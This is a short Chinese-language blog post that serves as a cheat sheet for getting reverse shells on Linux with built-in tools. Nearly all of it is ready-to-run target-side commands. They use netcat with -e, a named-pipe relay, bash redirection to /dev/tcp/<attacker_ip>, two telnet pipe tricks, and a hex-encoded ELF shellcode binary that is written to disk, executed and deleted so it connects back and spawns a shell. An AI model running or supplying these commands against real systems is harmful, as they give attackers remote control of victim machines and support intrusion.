- 20200611 upate
- 在线生成各种形式的反弹shell命令 https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8080
前言
- 这篇文章主要介绍一下几种通过linux内置工具得到reverse shell的方法。
- linux有很多发行版,不同发行版中的内置工具、安全机制等都有所不同。
- 下文中的几个例子在大多数的系统中是通用的。
- 这里主要重点关注一下4和5
- 20200208更新–更多反弹shell方式见Reverse Shell Cheat Sheet
例子
- 下面的一些例子中使用A代表攻击者(Attacker),T代表Target(目标)
1.netcat
1 | nc <attacker_ip> <port> -e /bin/bash # T |
1 | mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe # T |
3.不使用netcat
1 | /bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1 # T |
1 | mknod backpipe p && telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe # T |
1 | telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port> # T |
- 这第五个其实挺有意思。这里用了两个telnet的会话去连接到了远程的ip,其中第一个会话用来输入命令,第二个会话用来显示命令执行后的结果
6.机器码
- 这里的shellcode可以使用msf生成
1
2nc -v -l 1337 # Attacker
echo -e "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00\x00\x00\xBC\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xAA\x00\x00\x00\xAA\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6A\x66\x58\x6A\x01\x5B\x31\xD2\x52\x53\x6A\x02\x89\xE1\xCD\x80\x92\xB0\x66\x68\x7F\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xE1\x6A\x10\x51\x52\x89\xE1\x43\xCD\x80\x6A\x02\x59\x87\xDA\xB0\x3F\xCD\x80\x49\x79\xF9\xB0\x0B\x41\x89\xCA\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80\x00\x2E\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2E\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60\x00\x00\x00\x4A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xAA\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" > c; chmod +x c;./c & rm c # Target